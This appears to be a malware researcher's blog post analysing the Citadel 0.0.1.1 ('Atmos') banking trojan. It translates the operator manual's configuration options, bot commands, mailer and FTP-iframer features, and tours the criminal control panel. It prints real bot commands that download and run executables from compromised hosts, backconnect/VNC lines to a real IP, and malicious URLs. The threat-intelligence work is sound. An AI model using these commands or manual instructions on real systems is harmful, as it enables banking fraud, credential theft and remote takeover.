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Guys of JPCERT, 有難う御座います！
Released an update to their Citadel decrypter to make it compatible with 0.0.1.1 sample.

Citadel 0.0.1.1 don't have a lot of documentation, so time as come to talk about it.
Personally i know this malware under the name 'Atmos' (be ready for name war in 3,2,1...)

  The first sample i was aware is the one spotted by tilldenis here in jully 2015.

I re-observed this campaign in november 2015 with the same 'usca'.

You can find a technical description of the product here: http://pastebin.com/raw/cAqbrqAS

Here is a small part translated to English related to configuration and commands:

3. Configuration
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url_config1-10 [up to 10 links to configuration files; 1 main for your web admin panel and 9 spare ones. To save
the resources, use InterGate button in the builder to place config files on different links without setting up admin

panel. Spare configs will be requested if the main one is not available during first EXE launch. Don't forget to put
EXE and config files in 'files/' folder]

timer_config 4 9

[Config file refresh timer in minutes | Retry interval]
timer_logs 3 6 [Logs upload timer in minutes | Retry in _ minutes]

timer_stats 4 8 [New command receiving and statistics upload timer in minutes | Retry in _ minutes]
timer_modules 4 9 [Additional configuration files receiving timer | Retry in _ minutes. Recommending to use the

same setting as in timer_config]
timer_autoupdate 8 [EXE file renewal timer in hours]
insidevm_enable 0/1 [Enable execution in virtual machine: 1 - yes | 0 - no]

disable_antivirus 0/1 [1 - Disable built-in 'AntiVirus' that allows to delete previous version of Zeus/Citadel/Citra
after EXE lauch |  0 - leave enabled(recommended)]
disable_httpgrabber 0/1 [1 - Disable http:// mask grabber in IE | 0 - Enable http:// mask grabber in IE]

enable_luhn10_get 0/1 [Enable CC grabber in GET-requests http/https]
remove_certs 0/1 [Enable certificate deletion in IE storage]

report_software 0/1 [1 - Enable stats collection for Installed Software, Firewall version, Antivirus version | 0 -
Disable]
disable_tcpserver 0/1 [1 - Enable opening SOCKS5 port (not Backconnect!) | 0 - Disable]

enable_luhn10_post 0/1 [Enable CC grabber in POST-requests http/https]
disable_cookies 0/1 [1- Disable IE/FF cookies-storage upload | 0 - Enable | use_module_ffcookie - duplicates the

same]
file_webinjects "injects.txt" [File containing injects. Installed right after successful config files installation.
Renewal timer is set in timer_config]

url_webinjects "localhost/file.php" [Path to 'file.php' file. Feature of 'Web-Injects' section for remote instant inject
loading]

AdvancedConfigs [Links to backup configuration files. Works if !bot is already installed on the system! and first
url_config is no longer accessible]
entry "WebFilters" [Set of different filters for URLs: video(# character), screenshot(single @ character -

screenshot sequence after a click in the active zone. double @ character '@@' - Full size screenshot), ignore (!
character), POST requests logging (P character), GET request logging (G character)]

entry HttpVipUrls [URL blacklist. By default the follwing masks are NOT written to the logs "facebook*"
"*twitter*",  "*google*". Adding individual lines with these masks will enable logging for them again]
entry "DnsFilters" [System level DNS redirect, mask example - *bankofamerica.com*=159.45.66.100. Now

when going to bankofamerica.com - wellsfargo.com will be displayed. Not recommending blocking AV sites to
avoid triggering pro-active defenses]
entry "CmdList" [List of system commands after launch and uploading them to the server]

entry "Keylogger" [List of process names for KeyLogger. Time parameter defines the time to work in hours after
the process initialization]

entry "Video" [Video recording settings | x_scale/y_scale - video resolution | fps - frame per second, 1 to 5 |  kbs
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- frame refresh rate, 5 to 60 | cpu 0-16 CPU loading | time - time to record in seconds | quality 0-100 - picture
quality]

entry "Videologger" - [processes "" - list of processes to trigger video recording. Possible to use masks, for
example calc.exe or *calc*]

entry "MoneyParser" [Balance grabber settings | include "account,bank,balance" - enable balance parsing if
https:// page contains one of the following key words. | exclude "casino,poker,game" - do NOT perform parsing if
one of the following words is found]

entry "FileSearch" [File search by given mask. The report will be stored in 'File Hunter' folder. Keywords can be
a list of files or patterns ** to for on the disk. For example, multibit.exe will search for exact match on

filename.fileextension, *multibit* will report on anything found matching this pattern. | excludes_name - exclude
filenames/fileextensions from search. excludes_path - exclude system directories macros, like, Windows/Program
Files, etc | minimum_year - file creation/change date offset. The search task is always on. Remove all the

parameters from this section to disable it.]
entry "NetScan" [hostname "host-to-scan.com" - list of local/remote IP addresses to scan. scantype "0" - sets the
IP address range, for example, scantype "0" scans a single IP in the 'hostname', scantype "1" creates a full scan of

class C network 10.10.10.0-255, scantype "2" creates a full scan of class B network 10.10.0-255.0-255]
Example 1 {hostname "10.10.0-255.0-255" addrtype "ipv4" porttype "tcp" ports "1-5000" scantype "2"}

Example 2 {hostname "10.10.1.0-255" addrtype "ipv4" porttype "tcp" ports "1-5000" scantype "1"}]
entry "WebMagic" [Local WebProxySrv, web server with its own storage. Allows to read and write bot
parameters directly, for example, when using injects. This saves time and resources since it doesn't generate

additional remote requests for different scripts that are generally detected by banks anti-tampering controls. It also
allows to bypass browser checking when requesting https:// resource hosted remotely and to create backconnect

connection. Full settings description is located in F.A.Q section]

4. Commands

user_execute <url> [execute given file]

user_execute <url> -f [execute given file, manual bot update that overwrites the current version]
user_cookies_get [Get IE cookies]

user_cookies_remove [Remove IE cookies]
user_certs_get [Get .p12 certificates. Password: pass]
user_certs_remove [Remove certificates]

user_homepage_set <url> [Set browser home page]
user_flashplayer_get [Get user's .sol files]

user_flashplayer_remove [Remove user's .sol files]
url_open <url> [open given URL in a browser]
dns_filter_add <hostname> <ip> [Add domain name for redirect(blocking) *bankofamerica.com* 127.0.0.1]

dns_filter_remove <url> [Remove domain name from redirect(blocking)]
user_destroy [Corrupt system vital files and reboot the system. Requires elevated privileges]
user_logoff [Logoff currently logged in user]

os_reboot [Reboot the host]
os_shutdown [Shutdown the host]

bot_uninstall [Remove bot file and uninstall it]
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bot_update <url> [Update bot configuration file. Requires to use the same the crypt. The path is set in
url_config]

bot_bc_add socks <ip> <port> [Connect Bot > Backconnect Server > Socks5 | Run backconnect.exe listen -
cp:1666 -bp:9991 on BC server / -bp is set when the command is launched, -cp is required for

Proxifier/Browser...]
bot_bc_add vnc <ip> <port> [Connect Bot > Backconnect Server > VNC Remote Display |  Run
backconnect.exe listen -cp:1666 -bp:9991 on BC server / -bp is set when the command is launched, -cp is required

for UltraVNC client]
bot_bc_add cmd <ip> <port> [Connect Bot > Backconnect Server > Remote Shell | Run backconnect.exe listen

-cp:1666 -bp:9991 on BC server / -bp is set when the command is launched, -cp is required for telnet/putty client ]
bot_bc_remove <service> <ip> <port> [Disconnect from the bot and hide connections from 'netstat' output]
close_browsers [close all browser processes]

And one part related to some new features:

Q:

How does Mailer works?

A: This feature allows you to create mass-email campaigns using standard PHP tools.
For this feature to work correctly you need to download the script [Download Script] and put it in www-root

directory on one of the hosts that will be used to perform the mass-email campaign - make sure you turn off the
following in php.ini; magic_quotes_gpc = Off and safe_mode = Off
After that press [ Config ] and fill in [Master E-Mail (for checkup) parameters: "name ; email" Your email for

checking] and Mailer-script URL: http://www.host.com/mailer.php
It's possible to create a campaign using a email address list collected by a Bot using "For BotID" button or a new

list name;email
Macros are supported in в Subject/Body/Attach.
{name} - Receiver name | {email} - Receiver E-mail | {random} - random chars | {rand0m} - random long

number
Recommendation: To avoid being blocked by spam-filters use macro name@{hostname} in Sender ("email" or

"name ; email") field - in this case the real domain name of the sending host will be used and your emails will not
end up in Spam folder.

Q: How to work with File Hunter feature?

A: This feature allows you to work with files on the bot: get list of files matching the parameters specified under
config entry "FileSearch", track files updates, autoupload files and replace files on the bot.

Custom Download - allows you to download any file from a bot by BotID, taken that a full path to the file is
known. This will work even if the file is not specified under "FileSearch" config entry.
Auto download - uploads files with a given mask without a need to specify BotID. Bot will execute the upload as

soon as search conditions are given and the file found. This will work even if the file is not specified under
"FileSearch" config entry.
Be careful using File Hunter to modify any files on the bot. It's main purpose is to grab *coin

files(multibit.dat/litecoin.dat...)
Use mouse right-click to access context menu for file list.
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Q: Short manual for FTP Iframer
A: As in the case with 'Mailer', For this feature to work correctly you need to download the iframer script

[Download Script] and put it in www-root directory on one of the hosts that will be used to perform the mass-
email campaign - make sure you turn off the following in php.ini; magic_quotes_gpc = Off and safe_mode = Off

Next, create configuration options by pressing on [ Конфигурация ]
Specify the script URL in URL field
Working mode: Just checking [ Will check the validity of FTP accounts found in the logs ]

Inject: [Mode: "ON"]
Inject method: Smart/Add/Overwrite [ Smart - will re-add the inject in case if it was detected and deleted. / Add -

iframe code will be added to the end of the file before </body></html>]
Lookup depth: [ File search level on ftp-host. For example, in the following structure FTP Connection >
public_html(1) > images(2) > gif(3)....]

Next, perform 'Accounts search' and 'Run tasks'. The statistics and results will be available after a few minutes.
The script will be working in cron-mode after the first execution, so there is no need to keep the page opened.

Q: Main functions and methods of "Neuromodel"

A: Neuromodel allows you to perform complex analysis of your botnet: identifying best bots, upload success
rates. You can build a research matrix that includes list of bots and evaluate them against specified criteria;  the

result will be calculating a score to each bot.
Each research matrix can contain a number of evaluation criteria. For example, you need to search the logs for the
following data: Bank Acc + CC or Bank Acc + ISP E-mail

Create profile first and then plan the task based on required criteria.

Task - "Find bots that logged into http://www.bankofamerica.com id=* in the last 30 days and where McAfee is

installed. Assign X score if the search criteria match"

Creating criteria:
1) { name: BOA LOGIN | criteria: HTTP data POST | URL masks: htt*://www.bankofamerica.com/* | POST data

masks: id=* | days limit: 30 | score: 1 | static method, trigger condition: No < 1 }
2) { name: AVCheck | criteria: installed software | software name mask: McAfee* | days limit: 30 | score: 1 trigger

condition: No < 1 }

Static method is used to summarize the results.
* **No**: simple summary. Each successful criteria match adds specified score to the bot. More matches = bigger

the score.
Example 1: if it found 180 reports matching the criteria and the score is 2 then the final score will be '180*2'

Example 2: if 'Login to bankofamerica' criteria  is set to ">=" "3" on average a day then the score will be added
only for the last days specified in 'Days' parameter.
Detailed: if in the last days specified in 'Days' parameter the 'Login to bankofamerica' criteria was matched more

than 3 times on average then the bots reported will be given the score points.
* **Sum** Summary of produced reports
Score 'Points' will be added if the amount of reports satisfying the search criteria complies with trigger condition.

For example, if we have `reports_count=180` and `Points=2` and trigger condition is `>= 180` then the score is
+2.
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* **Days**: active days summary: days containing the reports.
Score will be added if the amount of reports satisfying the search criteria complies with trigger condition.

For example, if we have reports from day before yesterday, yesterday and today and trigger condition is set to `>=
3` then the scores will be added.

* **Avg/Day**: Average/Day: average number of reports in the last 24 hours
* **Avg/Week**: Average/Week: average number of reports per week
* **Days/Week**: average number of active days per week

Another example, search for inactive accounts:
"Find the bots regardless of their scores that logged into USBank in the last 21 days no more than 3 times - no

filters or criteria are applied"

1) { URL = https://onlinebanking.usbank.com/Auth/Login/Login* | HTTP URL visit| days limit = 21 | Login no
more than 3 times: e.g. login <=3. Meaning, if found <=3 reports for this criteria — add 1 to the score. | SUM()

<=3 , 1 score }

Full criteria list is below:
Condition using date/time of the first report received from the bot.

Condition using date/time of the last report received from the bot.
Condition using average online time of the bot per week or per hour.

Condition using a type of the report or it's content
>Presence/Lack of LUHN10(CC)
>Presence/Lack of ISP email address (pop3 or web-link)

>Presence/Lack of FTP accounts
>Search by key words

Condition using "Installed Software" reports, allows you to check for a particular software installed on the bot.
Condition using "CMD" reports, allows to use particular keywords.
Condition using visited one or many particular URLs

Condition using POST variables.

Minus some absolute nonsense in the description of AVG/Day, AVG/week and days/weeks

The author is a fecking lunatic trying to explain things that only he understand :)
Thanks to Malwageddon for the translation help.

Now.. take a free tour in the infrastructure.

Login:
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Dashboard:

RU and UA flags, united forever :)

exe configuration:
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Operating system:

Software:
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Firewall:
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AV:

Search:
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Bots:

 Legend:

http://www.xylibox.com/2016/02/citadel-0011-atmos.html

Page 12 of 58

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF2vRu__HNLEsQlNpG5JeQ4UgXE_EPWptL-0DDd3q-UhXfpEC_0DQ2psHhOKZ2jkJUPtugpL0VmH5Iqd-5yMSWfLoAYgiHXLKtFXd2yvRMaTXmroXHgUPMHS8bRD8h84oalJCJW8L1YHg/s1600/2015-11-02_16-33-39.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF2vRu__HNLEsQlNpG5JeQ4UgXE_EPWptL-0DDd3q-UhXfpEC_0DQ2psHhOKZ2jkJUPtugpL0VmH5Iqd-5yMSWfLoAYgiHXLKtFXd2yvRMaTXmroXHgUPMHS8bRD8h84oalJCJW8L1YHg/s1600/2015-11-02_16-33-39.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYYR3G-x4lbEQ-2dJ3HIIXkQEwGXZthrQvGwPQCxQVj46rRn378CGjUXHrAje8j5vp0I4Qk9-EiisR4vylX1qNeO-0KghzVMlTzMdPmGr7-ZNS1WtVpi1iRGo1ag2X0XYzrT1sb_Cu_L0/s1600/2015-11-02_16-35-16.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYYR3G-x4lbEQ-2dJ3HIIXkQEwGXZthrQvGwPQCxQVj46rRn378CGjUXHrAje8j5vp0I4Qk9-EiisR4vylX1qNeO-0KghzVMlTzMdPmGr7-ZNS1WtVpi1iRGo1ag2X0XYzrT1sb_Cu_L0/s1600/2015-11-02_16-35-16.png


Full information:

WebInject:

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie_QRNJrzcEiDx1kFOA7mKirYcx-RimrEDcxR_lZKaB3gDE-fXOw08cZRXE6afWWXhQgUrr3pcOvDI_WvwmkvG7xvs2XHEBIuZ_gD_MpCiaXVl_gzyNBRgSpM1Xz5gjuZ2W_aJ0SVKa9I/s1600/2015-11-02_18-45-50.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie_QRNJrzcEiDx1kFOA7mKirYcx-RimrEDcxR_lZKaB3gDE-fXOw08cZRXE6afWWXhQgUrr3pcOvDI_WvwmkvG7xvs2XHEBIuZ_gD_MpCiaXVl_gzyNBRgSpM1Xz5gjuZ2W_aJ0SVKa9I/s1600/2015-11-02_18-45-50.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyntbBdlXvfUTVGlGIIpMLRNHO-TNjesTLaUhz6VoGZWOqA99z4m3dME0gNMT4dvs27m6ziGEEJGXjUoQ0gURFxEtWKeSSelvC7XHWwL9CeFbsfUaSh_bcV6T7kozIqyIKxSbFR4zzejk/s1600/2015-11-02_18-39-56.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyntbBdlXvfUTVGlGIIpMLRNHO-TNjesTLaUhz6VoGZWOqA99z4m3dME0gNMT4dvs27m6ziGEEJGXjUoQ0gURFxEtWKeSSelvC7XHWwL9CeFbsfUaSh_bcV6T7kozIqyIKxSbFR4zzejk/s1600/2015-11-02_18-39-56.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpHyAf64FGvyDB5kXKL8HUdZnTUJ_E9pQ6sbxXFSiBGAziae9_hK_DzY7T9WEhhtWXrzOQ1b-ZcCTzmPfAlmtWLIX7xmU0pFbtbS_ZQSKb2jxkg6pFJVvIoA6lFVHrOZXqUA6OT9l41EY/s1600/2015-11-02_16-36-13.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpHyAf64FGvyDB5kXKL8HUdZnTUJ_E9pQ6sbxXFSiBGAziae9_hK_DzY7T9WEhhtWXrzOQ1b-ZcCTzmPfAlmtWLIX7xmU0pFbtbS_ZQSKb2jxkg6pFJVvIoA6lFVHrOZXqUA6OT9l41EY/s1600/2015-11-02_16-36-13.png


Reported errors:

New group:

Edit a webinject:

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRSLvTWnM5uGVtAA8vsMj5d-JBPaLWOY6lcqI-vxg91XbZ83r_xpEVP6_pp9ELhXpZ4iAZ4CMjhlxR9UlQyB1J_ZVMIfgJrNyA-Kaiwwp4qKDoYztGv4RK7PRQ7XFU_cCY_DhzJkdIcJA/s1600/2015-11-17_15-25-08.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRSLvTWnM5uGVtAA8vsMj5d-JBPaLWOY6lcqI-vxg91XbZ83r_xpEVP6_pp9ELhXpZ4iAZ4CMjhlxR9UlQyB1J_ZVMIfgJrNyA-Kaiwwp4qKDoYztGv4RK7PRQ7XFU_cCY_DhzJkdIcJA/s1600/2015-11-17_15-25-08.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeIQ_dEfJ-G6MX-DPEP_VEb7agXU3-Xy2MZRtrqOXxBJdLp2fu_2_C_hzALazziGCcNHhc6F3EatqbGwpnDX7Kym_ErsTTKOhjZzd0RENGiXdanOcSH-UgVO8mDZ-HdGOPli5cyaXgoHA/s1600/2015-11-02_19-34-29.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeIQ_dEfJ-G6MX-DPEP_VEb7agXU3-Xy2MZRtrqOXxBJdLp2fu_2_C_hzALazziGCcNHhc6F3EatqbGwpnDX7Kym_ErsTTKOhjZzd0RENGiXdanOcSH-UgVO8mDZ-HdGOPli5cyaXgoHA/s1600/2015-11-02_19-34-29.png


Webinjects for the group 'Canada':

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuD7zlpeXwYvIg5m4rDbVxWiPVe_ik_12L5BbWasm4dLjf9mydcYHOYGO4LYYtO1cZPZqcimWXI-XlD4H5heHcNMz4sDAtYJarXIfrjOYCa-k-cyfJIISv_W3DzbmS7jc4Mla1k890qGo/s1600/2015-11-02_16-36-59.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEgO_exq3GQiPDwO1HbAAEQJTWkapQB3EiqrfpmpBcfe9NL5c4zv9VoUWx6XjhcDL8OJqeRD8xACEA-RmrTr5OBU88UlTkVZ-zJuFYQznqlAyUTMU8bhIN6y33WbtVpJhdiX8NdBe__cs/s1600/2015-11-02_16-38-11.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEgO_exq3GQiPDwO1HbAAEQJTWkapQB3EiqrfpmpBcfe9NL5c4zv9VoUWx6XjhcDL8OJqeRD8xACEA-RmrTr5OBU88UlTkVZ-zJuFYQznqlAyUTMU8bhIN6y33WbtVpJhdiX8NdBe__cs/s1600/2015-11-02_16-38-11.png


US:

Edit a webinject:

Script:

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjB4acNrYEHDk15EsOyH18sRklY2Pdnt7IQZVUOfbzSHwexHlV0MZhUJBGDheE2A3X9ea69xIH-eaVBypey6A1EVYIzu6vKT5dHVpH1bK4ky0Pvmz9cGvHbZA3O5UF7oVX-MMhLWZE2nok/s1600/2015-11-17_15-40-05.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjB4acNrYEHDk15EsOyH18sRklY2Pdnt7IQZVUOfbzSHwexHlV0MZhUJBGDheE2A3X9ea69xIH-eaVBypey6A1EVYIzu6vKT5dHVpH1bK4ky0Pvmz9cGvHbZA3O5UF7oVX-MMhLWZE2nok/s1600/2015-11-17_15-40-05.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOQJdZ22sOiGyeve-IDBXIFK4afmcl2U0DxTor_XKHV4A8wo3-yaPyu_ntNHzef-RkX75Xs3ZBKZ2ExQTD8bRxnGiaY41jl4SLH9tbEVenGKUbILk_vv9WZiTABHF6w8OvmRufkMOV-VI/s1600/2015-11-17_15-41-53.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOQJdZ22sOiGyeve-IDBXIFK4afmcl2U0DxTor_XKHV4A8wo3-yaPyu_ntNHzef-RkX75Xs3ZBKZ2ExQTD8bRxnGiaY41jl4SLH9tbEVenGKUbILk_vv9WZiTABHF6w8OvmRufkMOV-VI/s1600/2015-11-17_15-41-53.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHhw28B68xI1oZGbh91icWw32uAhlP9ArOdG2mU7hOOYSwN6to6bT5_bSo8NnM1VYqRc1gOzC2BIaGZtBOiVsPy1ZY0LRg_XBAvRI16mN_-XUaQ7GUrWCN63Hccp8MOf725TYWw26Wdwc/s1600/2015-11-17_15-41-06.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHhw28B68xI1oZGbh91icWw32uAhlP9ArOdG2mU7hOOYSwN6to6bT5_bSo8NnM1VYqRc1gOzC2BIaGZtBOiVsPy1ZY0LRg_XBAvRI16mN_-XUaQ7GUrWCN63Hccp8MOf725TYWw26Wdwc/s1600/2015-11-17_15-41-06.png


Script edit:

Some scripts sample:

tokenspy_update tokenspy-config.json
hvnc_start 176.9.174.237 29223
bot_bc_add vnc

bot_bc_add socks 176.9.174.237 37698
user_execute http://iguana58.ru/plugins/system/anticopy/ammy.exe

transfer

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4rghO8YIN0gVSLw0eRRIwxxx5baj3jH5tQ7M8yKoYpgUhs8gSBSlIV22VBoei9XVlfqZIz8tsiz3RuUn74Ya62TLrcPwLHPjGHePlhJvOcEZ3qz_2Xg4-63vfEXuglgM5goRGlnJ_6Co/s1600/2015-11-02_16-39-13.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4rghO8YIN0gVSLw0eRRIwxxx5baj3jH5tQ7M8yKoYpgUhs8gSBSlIV22VBoei9XVlfqZIz8tsiz3RuUn74Ya62TLrcPwLHPjGHePlhJvOcEZ3qz_2Xg4-63vfEXuglgM5goRGlnJ_6Co/s1600/2015-11-02_16-39-13.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjL525mIDDvn556Q9R9EGButIiM_0J-js-V-36h1fGNPPuXJQh_yihbB2i5xyDf30zUsJbLvA_Px5u68dtoav7ATTFb7IOw9IDgpadEfO7aJQxjx3nghVRXeFLTu5Cppj3soYFvz4fBSeM/s1600/2015-11-02_16-45-56.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjL525mIDDvn556Q9R9EGButIiM_0J-js-V-36h1fGNPPuXJQh_yihbB2i5xyDf30zUsJbLvA_Px5u68dtoav7ATTFb7IOw9IDgpadEfO7aJQxjx3nghVRXeFLTu5Cppj3soYFvz4fBSeM/s1600/2015-11-02_16-45-56.png


user_destroy
user_execute http://iguana58.ru/plugins/system/anticopy/adobe.exe

user_ftpclients_get
user_execute htxp://iguana58.ru/plugins/system/anticopy/adobe.exe

user_execute htxp://mareikes.com/wp-includes/pomo/svhost.exe -f
user_execute htxp://mareikes.com/wp-includes/pomo/server.exe
user_execute htxp://mareikes.com/wp-includes/pomo/ammy.exe

user_execute http://tehnoart.co/sr.exe -f
user_execute http://3dmaxkursum.net/tmp/sys/config.exe

user_execute http://coasttransit.com/wp-content/gallery/gulfport-transit-center/thumbs/htasees.exe

• dns: 1 ›› ip: 185.4.73.33 - adress: IGUANA58.RU
• dns: 1 ›› ip: 176.9.24.49 - adress: MAREIKES.COM

• dns: 1 ›› ip: 107.180.26.93 - adress: TEHNOART.CO
• dns: 1 ›› ip: 94.73.144.210 - adress: 3DMAXKURSUM.NET
• dns: 1 ›› ip: 184.168.47.225 - adress: COASTTRANSIT.COM

Socks:

VNC:

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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Example of infected endpoints:

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhshbOF43LaZ381Z1V13Ah9PexzKmFqyKshQZelGoOdOIei7e9E5Z7Sza0xlRIIhDHx-DBM1shQYRjTtD4sdb9O5lJEgDa18WLVF_0td3mGHreSEa3Ik3svR5IexI_zKsHtGj4SVRoK1e8/s1600/2015-11-06_12-22-18.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhshbOF43LaZ381Z1V13Ah9PexzKmFqyKshQZelGoOdOIei7e9E5Z7Sza0xlRIIhDHx-DBM1shQYRjTtD4sdb9O5lJEgDa18WLVF_0td3mGHreSEa3Ik3svR5IexI_zKsHtGj4SVRoK1e8/s1600/2015-11-06_12-22-18.png


Config:

Backconnect logs:

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXUGxDPpRq1logIxAJNfEwR4LyhW-wuvaGyTjoNSUNWRxb7UAOJomcAYN8DrPezD6b-IO3Ar7CnmX_nHufUHclGCylwo58rZSdz3GEK3d5F1u-gG-m7TwmFcO8p1SZUkHJUXqrBhvlcqw/s1600/2015-11-02_19-37-40.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXUGxDPpRq1logIxAJNfEwR4LyhW-wuvaGyTjoNSUNWRxb7UAOJomcAYN8DrPezD6b-IO3Ar7CnmX_nHufUHclGCylwo58rZSdz3GEK3d5F1u-gG-m7TwmFcO8p1SZUkHJUXqrBhvlcqw/s1600/2015-11-02_19-37-40.png


Files:

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjazG01rZwPcavS0moKTzQVxuzpo8Dml_hznJiXD8HIFQGUaF2fWUxJ1TYRLvpHWAEhrqyfQkFxaNkMnS5EZDAhLwXVzkx5SVOjlEJ6Ld08RL5Y0fQzG4EP16PkFrceJAn43cOSz1G6WZU/s1600/2015-11-29_14-21-41.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjazG01rZwPcavS0moKTzQVxuzpo8Dml_hznJiXD8HIFQGUaF2fWUxJ1TYRLvpHWAEhrqyfQkFxaNkMnS5EZDAhLwXVzkx5SVOjlEJ6Ld08RL5Y0fQzG4EP16PkFrceJAn43cOSz1G6WZU/s1600/2015-11-29_14-21-41.png


SHA1: 9EA4041C41C3448E5A9D00EEA9DACB9E11EBA6C0

bcservice.ini:

[bcservice]

client_starting_port=200
bots_port=30
reboot_every_m=10

Trashed binnaries:

SHA1: 987B468DB8AA400171E5365E89C3120F13F728EE

Atmos builder:

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi098G5LmFrinpRL4TVMCE5d20yKhEk9nnGaXoEayqT851PJCZgkAB5O70yQtJqKC9o_xT7Y4ACygR3xRJzXgoVzuSwu1U3bBiQdyAFDWJ2a5WXjQxk27X1KXY33KbEURJyu3xDZNkEQJQ/s1600/2015-11-02_19-59-13.png


Jabber notifier:

http://www.xylibox.com/2016/02/citadel-0011-atmos.html
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjD-6OasJd8SbaJvSnyC9zXOU7D2FNElO8BzI-1JzSUyxE-6G2cyRW-xsdZsG15VkbPWp3909KNJDIG68osruQATFl34gcE2xh7X5591P40Tqi6bqoWQtpRh_N93U7tHj8TK1PQW3Wl2AQ/s1600/2015-11-02_20-01-18.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEnDnOuI8TnEIomTxhbeJ7lt81Bd3ttz7z4lcA20wauB_GbIV-WTjIOFkIBbA5HNoTLMoPouwKc4DX_PpF4Nyb1GCYoYko3DksdiqVBZkJTwu8ZBCs2oXlaB4VfCDivz_DNQehnXhUsd4/s1600/2015-11-02_20-01-49.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEnDnOuI8TnEIomTxhbeJ7lt81Bd3ttz7z4lcA20wauB_GbIV-WTjIOFkIBbA5HNoTLMoPouwKc4DX_PpF4Nyb1GCYoYko3DksdiqVBZkJTwu8ZBCs2oXlaB4VfCDivz_DNQehnXhUsd4/s1600/2015-11-02_20-01-49.png


Notes:

Crypt exe:
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLeyrYAzh156flD_RcwFhWngIzqUy09w-kynkIL2gRZfgXx-T0cM9j9V5d8E-uWtbQvQbQuGrReeQHldIHUwGbuCf5I33EP9F82qvDjs1ubm_AsUpq9MpUZCcSoAU6MKPqRFrS03gyMP8/s1600/2015-11-02_17-23-53.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLeyrYAzh156flD_RcwFhWngIzqUy09w-kynkIL2gRZfgXx-T0cM9j9V5d8E-uWtbQvQbQuGrReeQHldIHUwGbuCf5I33EP9F82qvDjs1ubm_AsUpq9MpUZCcSoAU6MKPqRFrS03gyMP8/s1600/2015-11-02_17-23-53.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH4b5roZmJTTnA-n2ZH2gp-XvfsJv8ULYLzKnitPfe3g9eTG-NN-DdW_dtbZObHVBdy6LKu2l0bHw5p0peVV14EGIOEL5kRTJSXKBNmDn4qfx45gAuw7pSZOu2aHwJw7gLj0vEdGr0Vog/s1600/2015-11-02_17-24-43.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH4b5roZmJTTnA-n2ZH2gp-XvfsJv8ULYLzKnitPfe3g9eTG-NN-DdW_dtbZObHVBdy6LKu2l0bHw5p0peVV14EGIOEL5kRTJSXKBNmDn4qfx45gAuw7pSZOu2aHwJw7gLj0vEdGr0Vog/s1600/2015-11-02_17-24-43.png


FTP iframer:

Config:
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https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJeGbEzWhz-uHu1YVTpdcLzahX3rPp-Nf-3LFlPYJbChpZ5OAJeD3YpLOTM2TeewH8v6WTyRSpr8RTsd-ubm6Pyr1WzOgBj-32Qpp-pqs-Mu4EOTqdnNMzNnuvBf3YpNxe2G3LQJG_UxU/s1600/2015-11-02_17-25-11.png
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgw13pSslNilImVo-pbTZVnUhAE0xEGjr39cvfMBpa35-7keE4gGY0TlHDk9IzbLe47DW06Zp1WbJhbv3hMkBTmN7Ar67hEeyFmU5yxvdUvlZQ5_pnAzDefwDvoGzXRXB3rrpILtdN6IQk/s1600/2015-11-02_17-25-56.png
